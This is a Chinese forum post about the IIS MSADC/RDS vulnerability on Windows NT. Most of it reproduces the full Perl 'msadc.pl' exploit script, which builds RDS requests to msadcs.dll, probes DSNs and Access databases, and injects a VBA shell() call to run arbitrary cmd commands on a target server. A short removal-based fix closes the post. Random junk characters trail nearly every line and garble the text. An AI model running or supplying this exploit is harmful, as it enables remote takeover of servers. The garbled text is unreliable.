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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 'RG`DzuF  
9]kWM]B)o  
涉及程序: f#5mX&j  
Microsoft NT server AoTL )',  
x#pT B.  
描述: 6i&WF<%D  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 7] ~'8  
iaPY>EP1  
详细: `cVG_= 2  
如果你没有时间读详细内容的话,就删除: 9BHl 2<&V  
c:\Program Files\Common Files\System\Msadc\msadcs.dll L18Olu  
有关的安全问题就没有了。 R=PjLH&)  
PRf2@0ZV  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ?2.< y_1  
F1 MPo;e  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 (\SxG\`  
关于利用ODBC远程漏洞的描述,请参看: h`jtmhoz  
F5E KWP  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm JJ[J'xl@  
S* <: He&1  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Vwl`A3Y  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp CJ%7M`zy  
u*PN1E  
这里不再论述。 5w{_WR6,  
'fZHtnmc0  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 80 p7+W2m  
!9V_U  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset -S9$C*t  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! h5B'w  
<!4'?K-N  
E[ e ''  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ;Wb W\,P'  
t[0gN:s  
#!perl =y ^N '1q  
# cojuU=i  
# MSADC/RDS 'usage' (aka exploit) script ]LNP"vi;  
# Tpkm\_  
# by rain.forest.puppy OSsdB%bIu`  
# ~F DJKGK  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me P>jlFm  
# beta test and find errors! "TG}aS  
VxaJ[s3PQ&  
use Socket; use Getopt::Std; kM@8RAxA  
getopts("e:vd:h:XR", \%args); 8'/vW~f  
K]Ed-Tz8QZ  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; YHg4WW$  
C#vU'RNpl  
if (!defined $args{h} && !defined $args{R}) { 3kQky  
print qq~ |P~TZ  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Z>M0[DJ_  
-h <host> = host you want to scan (ip or domain) }6ec2I%`o  
-d <seconds> = delay between calls, default 1 second Q>= :$I  
-X = dump Index Server path table, if available Y+j|T`d  
-v = verbose :Q!U;33aG  
-e = external dictionary file for step 5 -*+7-9A I  
y \V!OY@  
Or a -R will resume a command session Z*x Q"+\  
1;g>?18@  
~; exit;} Tig`4d-%  
BTGPP@p4  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; mI9~\k&9  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} +qDudGI  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} beN0 ?G  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); M~p=OM<  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} YG!~v~sV  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ;1K.SDj  
~S#Le  
if (!defined $args{R}){ $ret = &has_msadc; ,7z.%g3+z  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Kcl>uAgU  
x>Q\j>^  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" UC\CCDV#^  
. "cmd /c "; b&s"x? 7  
$in=<STDIN>; chomp $in; QUwSnotgU  
$command="cmd /c " . $in ; 68W&qzw.[r  
[f&ja[m q  
if (defined $args{R}) {&load; exit;} *oKc4S+  
M&:[3u-  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; [N'YFb3"O  
&try_btcustmr; ENr\+{{%  
MCjf$pZN]  
print "\nStep 2: Trying to make our own DSN..."; ezgP\ct  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; e4j:IK>  
h/mmV:v  
print "\nStep 3: Trying known DSNs..."; Zu,rf9LMj  
&known_dsn; 71Q-_Hi  
ofC=S$wX  
print "\nStep 4: Trying known .mdbs..."; vB hpD  
&known_mdb; dpxP  
xf_NHKZ)  
if (defined $args{e}){ -M/DOTc  
print "\nStep 5: Trying dictionary of DSN names..."; 5k)/SAU0  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } a;r,*zZ="  
jhr: QS/9  
print "Sorry Charley...maybe next time?\n"; >\+c@o[  
exit; &O/;YGEAB  
g+bc4eU  
############################################################################## ]p:s5Q  
J-P> ~ L"  
sub sendraw { # ripped and modded from whisker %scSp&X  
sleep($delay); # it's a DoS on the server! At least on mine... }4Ef31X8q  
my ($pstr)=@_; "eA4JL\%)  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || d %1j4JE{  
die("Socket problems\n"); rF'_YYpr>  
if(connect(S,pack "SnA4x8",2,80,$target)){ AvfSR p  
select(S); $|=1; +fBbW::R^  
print $pstr; my @in=<S>; eG55[V<!  
select(STDOUT); close(S); kc Q~}uFB  
return @in; |_x U{Pu  
} else { die("Can't connect...\n"); }} p%/Z  
_a|-_p  
############################################################################## +*Y/+.4WE$  
qRlS^=#  
sub make_header { # make the HTTP request P|`pJYe  
my $msadc=<<EOT %{?EfULg  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 8b\XC%k  
User-Agent: ACTIVEDATA E4idEQ}H  
Host: $ip )z zZYs&|  
Content-Length: $clen [Q9#44@{S;  
Connection: Keep-Alive >1q W*  
0eP7efy  
ADCClientVersion:01.06 =BW;n]ls  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 6b`3AAGU"  
"jS @ug  
--!ADM!ROX!YOUR!WORLD! 4BF \- lq~  
Content-Type: application/x-varg oM ey^]!  
Content-Length: $reqlen WD.td  
_-mSK/Z  
EOT as%@dUK?  
; $msadc=~s/\n/\r\n/g; <vS3 [(  
return $msadc;} YytO*^e}}  
O\0]o!  
############################################################################## mcO/V-\5'  
K X0{dizZ  
sub make_req { # make the RDS request W5a7HkM  
my ($switch, $p1, $p2)=@_; .l1uqCuB  
my $req=""; my $t1, $t2, $query, $dsn; % \N52  
iwM$U( 9  
if ($switch==1){ # this is the btcustmr.mdb query [ {@0/5i  
$query="Select * from Customers where City=" . make_shell(); b~oQhU??"  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . _TLB1T^/4  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} VDy2 !0  
#POVu|Y;h  
elsif ($switch==2){ # this is general make table query yn`P:[v  
$query="create table AZZ (B int, C varchar(10))"; =Pj+^+UM  
$dsn="$p1";} R"Ff(1m  
<?8 aM7W7  
elsif ($switch==3){ # this is general exploit table query z.d1>w  
$query="select * from AZZ where C=" . make_shell(); `_;sT8  
$dsn="$p1";} WZh%iuI{C  
D_s0)|j$cy  
elsif ($switch==4){ # attempt to hork file info from index server L[s7q0 F`l  
$query="select path from scope()"; z:gp\  
$dsn="Provider=MSIDXS;";} "2m (*+  
OS - Xh-:z  
elsif ($switch==5){ # bad query zv.R~lMtY  
$query="select"; $tm%=g^  
$dsn="$p1";} @}{lp'8FYi  
l4O&*,}l##  
$t1= make_unicode($query); U=ek_FO  
$t2= make_unicode($dsn); kMS&"/z  
$req = "\x02\x00\x03\x00"; M_BG :P5  
$req.= "\x08\x00" . pack ("S1", length($t1)); rg5ZxN|g  
$req.= "\x00\x00" . $t1 ; =(aA`:Nl  
$req.= "\x08\x00" . pack ("S1", length($t2)); qz_'v{uAj  
$req.= "\x00\x00" . $t2 ; _dQg5CmlG  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; uPhL?s{  
return $req;} G>@KX  
;URvZ! {/Z  
############################################################################## #S4lRVt5  
sV']p#HK0  
sub make_shell { # this makes the shell() statement (8Ptuh6\\2  
return "'|shell(\"$command\")|'";} \-`,fat  
/8Wfs5N  
############################################################################## u2 a#qU5*  
V vFMpPi  
sub make_unicode { # quick little function to convert to unicode ahoXQ8c:\}  
my ($in)=@_; my $out; D,hZVKa  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } v}`{OE:-J  
return $out;} Z~S%|{&Br  
 WPu-P  
############################################################################## 7$ze RYD+  
-ZVCb@%  
sub rdo_success { # checks for RDO return success (this is kludge) :MPfCiAv  
my (@in) = @_; my $base=content_start(@in); j0wpaIp  
if($in[$base]=~/multipart\/mixed/){ T%Nm  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} gfr+`4H>v  
return 0;} uyqu n@q  
'$q=r x  
############################################################################## gVscdg5  
%a\L^w)Xn  
sub make_dsn { # this makes a DSN for us `uh+d  
my @drives=("c","d","e","f"); Q1[3C(  
print "\nMaking DSN: "; MW|*Z{6*  
foreach $drive (@drives) { 6"djX47j  
print "$drive: "; YQ-!>3/)-  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . V1-URC24vd  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" I6e[K(7NY  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); zB68%  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; b4?]/Uy+/  
return 0 if $2 eq "404"; # not found/doesn't exist ^&Vj m  
if($2 eq "200") { p}e1!q;N  
foreach $line (@results) { W/@-i|v  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Z#NEa.]  
} return 0;} [k<.BCE  
dJ(<zz+;b  
############################################################################## 4Q17vCC*n  
v$)ZoM6E  
sub verify_exists { G%F}H/|R  
my ($page)=@_; M* 0zvNg  
my @results=sendraw("GET $page HTTP/1.0\n\n"); zI.%b7wq  
return $results[0];} 3j7Na#<tL3  
S Rb-eDk'  
############################################################################## f2iA5 rCV]  
%'w?fqk  
sub try_btcustmr { y!M# #K*  
my @drives=("c","d","e","f"); N?s`a;Q[=  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Wl0p-h  
!nDiAjj  
foreach $dir (@dirs) { 6PyW(i(bs  
print "$dir -> "; # fun status so you can see progress i4}+n^oSYo  
foreach $drive (@drives) { 2|A?9aE%0  
print "$drive: "; # ditto k?;@5r)y-  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; M(U<H;Csk  
$reqlenlen=length( "$reqlen" ); T f40lv+{  
$clen= 206 + $reqlenlen + $reqlen; ]%2y`Jrl^W  
6]|-%  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); z'&tmje[?  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} U1;&G  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} z7_h$v  
\C<'2KZR,  
############################################################################## {|B 2$1':  
S| |OSxZ  
sub odbc_error { $d*PY_  
my (@in)=@_; my $base; HChlkj'7w0  
my $base = content_start(@in); d6e$'w@(\T  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this M2Jb<y]  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; hem>@Bp'V  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; n{I1ZlEeh  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ,L=lg,lH^  
return $in[$base+4].$in[$base+5].$in[$base+6];} tx7B?/5D  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 7g>|e  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . h?Lp9VF  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} L/?jtF:o  
/ ?'FSWDU  
############################################################################## BG8`B'i  
4MrUo9L$s  
sub verbose { a0&L,7mu<'  
my ($in)=@_; * hmoi  
return if !$verbose; *]:J@KGf  
print STDOUT "\n$in\n";} ;(@' +"  
oU|_(p"e|  
############################################################################## 0TaN#  
3b?8<*  
sub save { ye-[l7  
my ($p1, $p2, $p3, $p4)=@_; `ES+$O>  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; M#k$[w}=  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; xW|8-q  
close OUT;} 4\E1M[6  
u'T?e+=  
############################################################################## 4_-L1WH  
LP'~7FG  
sub load { K;ocs?rk/  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 7J1f$5$m5  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); O%f{\Fr  
@p=<IN>; close(IN); vNHvuw K  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 3el/,v|qj  
$target= inet_aton($ip) || die("inet_aton problems"); !l5@L\   
print "Resuming to $ip ..."; E9\u^"GVO  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; v7/k0D .  
if($p[1]==1) { ! u@JH`  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; D63?f\  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Z*n4$?%W  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); qpjiQ,\:b  
if (rdo_success(@results)){print "Success!\n";} \]0#jI/:  
else { print "failed\n"; verbose(odbc_error(@results));}} 5<M$ XT  
elsif ($p[1]==3){ +;,X?E]g  
if(run_query("$p[3]")){ %\L{Ud%7  
print "Success!\n";} else { print "failed\n"; }} 5+2qx)FZ  
elsif ($p[1]==4){ :F_>`{  
if(run_query($drvst . "$p[3]")){ '~VF*i^4  
print "Success!\n"; } else { print "failed\n"; }} rZ&li/Z  
exit;} WRrg5&._q  
hC4 M}(XM  
############################################################################## ibn\&}1  
; xL8W  
sub create_table { nErr&{C  
my ($in)=@_; 5me#/NqLHY  
$reqlen=length( make_req(2,$in,"") ) - 28; >sZ_I?YDs  
$reqlenlen=length( "$reqlen" ); p=V1M-  
$clen= 206 + $reqlenlen + $reqlen; 1vYa&!  
my @results=sendraw(make_header() . make_req(2,$in,"")); N cp   
return 1 if rdo_success(@results); Yx&d\/9  
my $temp= odbc_error(@results); verbose($temp); a ?\:,5=  
return 1 if $temp=~/Table 'AZZ' already exists/; H43d[@h  
return 0;} Z<*"sFpAO  
/9,y+"0SQz  
############################################################################## gnYo/q=K  
MEu{'[C  
sub known_dsn { ~iPXn1  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go T7|=`~  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", {Iz"]Wh<f  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", DyCkz"1S  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ktkS$  
3:)_oHq  
foreach $dSn (@dsns) { %)Z,?DzZ  
print "."; Res4;C  
next if (!is_access("DSN=$dSn")); 5j v*C]z  
if(create_table("DSN=$dSn")){ %f?Zg44  
print "$dSn successful\n"; ??P %.  
if(run_query("DSN=$dSn")){ _4T7Vg''  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { KAi_+/]K_  
print "Something's borked. Use verbose next time\n";}}} print "\n";} =sso )/3  
R?y_tho4A  
############################################################################## `dWnu3r;  
,4=mlte"  
sub is_access { $wyPGok  
my ($in)=@_; 4,f`C0>"  
$reqlen=length( make_req(5,$in,"") ) - 28; x=-(p}0o;<  
$reqlenlen=length( "$reqlen" ); DXFDs=u  
$clen= 206 + $reqlenlen + $reqlen; r?w>x`  
my @results=sendraw(make_header() . make_req(5,$in,"")); jxZf,]>T  
my $temp= odbc_error(@results); Dk&(QajL  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ~pHuh#>  
return 0;} j{johV+`8  
%<r}V<OeR  
##############################################################################  F&lH5  
@NL37C  
sub run_query { a|(|!=  
my ($in)=@_; 5A^8?,F@  
$reqlen=length( make_req(3,$in,"") ) - 28; $inKI  
$reqlenlen=length( "$reqlen" ); j\NCoos  
$clen= 206 + $reqlenlen + $reqlen; B)/c]"@89  
my @results=sendraw(make_header() . make_req(3,$in,"")); qO/3:-  
return 1 if rdo_success(@results); #*%?]B=  
my $temp= odbc_error(@results); verbose($temp); 7VskZbj\  
return 0;}  6@"E*-z$  
=A~5?J=  
############################################################################## 8kC$Z)  
Q`{Vs:8X  
sub known_mdb { [e_<UF@A*  
my @drives=("c","d","e","f","g"); )L7[;(gQ  
my @dirs=("winnt","winnt35","winnt351","win","windows"); =$%-RX7  
my $dir, $drive, $mdb; v V;]?  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";  ^6b5}{>  
G$luGxl[  
# this is sparse, because I don't know of many ]o8yZ x  
my @sysmdbs=( "\\catroot\\icatalog.mdb", fqBz"l>5A  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", (XlvPcTi  
"\\system32\\certmdb.mdb", HH0ck(u_A*  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% /0!.u[t)~  
zqURnsJ  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ).0p\.W~  
"\\cfusion\\cfapps\\forums\\forums_.mdb", K7C!ZXw~  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", K4o']{:U  
"\\cfusion\\cfapps\\security\\realm_.mdb", LK!sk5/  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", (pHJEY  
"\\cfusion\\database\\cfexamples.mdb", 0d+b<J,  
"\\cfusion\\database\\cfsnippets.mdb", _ nz^+  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", neE Zw#(Z  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", X]n`YF7  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 6, |>;,U7  
"\\cfusion\\database\\smpolicy.mdb", xAO\'#m  
"\\cfusion\\database\cypress.mdb", df {\O* 6  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Ujqnl>l  
"\\website\\cgi-win\\dbsample.mdb", f,|;eF-Z  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Y^C(<N$  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ,1cpV|mAr  
); #these are just s];0-65)  
foreach $drive (@drives) { _00}O+GLM4  
foreach $dir (@dirs){ -m[ tYp,q  
foreach $mdb (@sysmdbs) { xA<-'8ST  
print "."; kM@e_YtpY  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ & P%#  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ,izp^,`  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ T!Tp:&O-  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; (/Jy9 =~  
} else { print "Something's borked. Use verbose next time\n"; }}}}} t=My=pG  
r\}?HS06  
foreach $drive (@drives) { etUfdZ  
foreach $mdb (@mdbs) { T XT<6(  
print "."; ic3Szd^4  
if(create_table($drv . $drive . $dir . $mdb)){ VKfpk^rU  
print "\n" . $drive . $dir . $mdb . " successful\n"; L@jpid95  
if(run_query($drv . $drive . $dir . $mdb)){ mM2I  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; e>6W ^ )  
} else { print "Something's borked. Use verbose next time\n"; }}}} '4D7:  
} *3OlWnZ?  
|'uBkL0q  
############################################################################## @P>>:002/  
Fe+(+ S  
sub hork_idx { >e(@!\ x  
print "\nAttempting to dump Index Server tables...\n"; 7]Hf3]e>/  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; LNrM`3%2-  
$reqlen=length( make_req(4,"","") ) - 28; |`kk mq  
$reqlenlen=length( "$reqlen" ); R4'>5.M  
$clen= 206 + $reqlenlen + $reqlen; k {vd1,HZ  
my @results=sendraw2(make_header() . make_req(4,"","")); 4E}Q<?UYSt  
if (rdo_success(@results)){ b|G~0[g  
my $max=@results; my $c; my %d; dd;rne v+  
for($c=19; $c<$max; $c++){ t;0]d7ey'  
$results[$c]=~s/\x00//g; N})vrB;1  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; I 9?X  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; \zBZ$5 rE  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; !KT.p2\  
$d{"$1$2"}="";} #;lEx'lKN  
foreach $c (keys %d){ print "$c\n"; } C-@M|K9A'  
} else {print "Index server doesn't seem to be installed.\n"; }} @[`]w`9Q7  
XbeT x  
############################################################################## h,-i\8gq  
#Ye0*`  
sub dsn_dict { p&0 G  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); |}:q@]dC#  
while(<IN>){ !6sR|c"~j  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; '/rU<.1  
next if (!is_access("DSN=$dSn")); =3rf}bl2  
if(create_table("DSN=$dSn")){ :oYSvK7>  
print "$dSn successful\n"; 3q@H8%jcw  
if(run_query("DSN=$dSn")){ 0LP0q9S:9  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { EP<{3f y  
print "Something's borked. Use verbose next time\n";}}} ?B)e8i<[f  
print "\n"; close(IN);} {zc*yV\  
0F6@aQ\y3  
############################################################################## |Q@(<'8=  
ftRdK>a D  
sub sendraw2 { # ripped and modded from whisker =Lb(N61  
sleep($delay); # it's a DoS on the server! At least on mine... Eh|6{LDn!  
my ($pstr)=@_; 0r[a$p>`  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || W>c*\)Xk !  
die("Socket problems\n"); 4PR&67|AH_  
if(connect(S,pack "SnA4x8",2,80,$target)){ D8xE"6T>  
print "Connected. Getting data"; Fo5UG2E&  
open(OUT,">raw.out"); my @in; ACFEM9 [=  
select(S); $|=1; print $pstr; F9(jx#J~t  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} (KfQ'B+  
close(OUT); select(STDOUT); close(S); return @in; |mdf u=  
} else { die("Can't connect...\n"); }} 0R0_UvsXU  
n$h+_xN  
############################################################################## :uqEGnEut  
%U .x9UL  
sub content_start { # this will take in the server headers Jy[rA<x$  
my (@in)=@_; my $c; P1]F0fR  
for ($c=1;$c<500;$c++) { $]W*;MTI}  
if($in[$c] =~/^\x0d\x0a/){ &uV|Ie8@q  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } jROh3kq  
else { return $c+1; }}} %,@e- &>  
return -1;} # it should never get here actually m(5LXH Jnv  
MCIuP`sC|  
############################################################################## sYSq>M  
gdh|X[d  
sub funky { muBl~6_mb2  
my (@in)=@_; my $error=odbc_error(@in); pN)>c,  
if($error=~/ADO could not find the specified provider/){ .)1u0 (?  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; {}gL*2:EW$  
exit;} *IF ~ab2  
if($error=~/A Handler is required/){ qC=ZH#  
print "\nServer has custom handler filters (they most likely are patched)\n"; z,@R jaX  
exit;} VG$%Vs  
if($error=~/specified Handler has denied Access/){ Tc/<b2 \g  
print "\nServer has custom handler filters (they most likely are patched)\n"; CPY|rV  
exit;}} W>,D$  
bGwj` lue  
############################################################################## B4c;/W-  
5nmE*(  
sub has_msadc { ;2MdvHhz1  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); OMab!  
my $base=content_start(@results); V,\}|_GY  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); .#K\u![@N  
return 0;} O`PQ4Q*F  
#"H<k(-Cz  
######################## %RzkP}1>E  
Lm0q/d2|\X  
`d x.<R#,  
解决方案: qjf4G[]!  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll O -p^S  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 >{0,dGm  
wNh\pWA  
拿出来充数 哈哈
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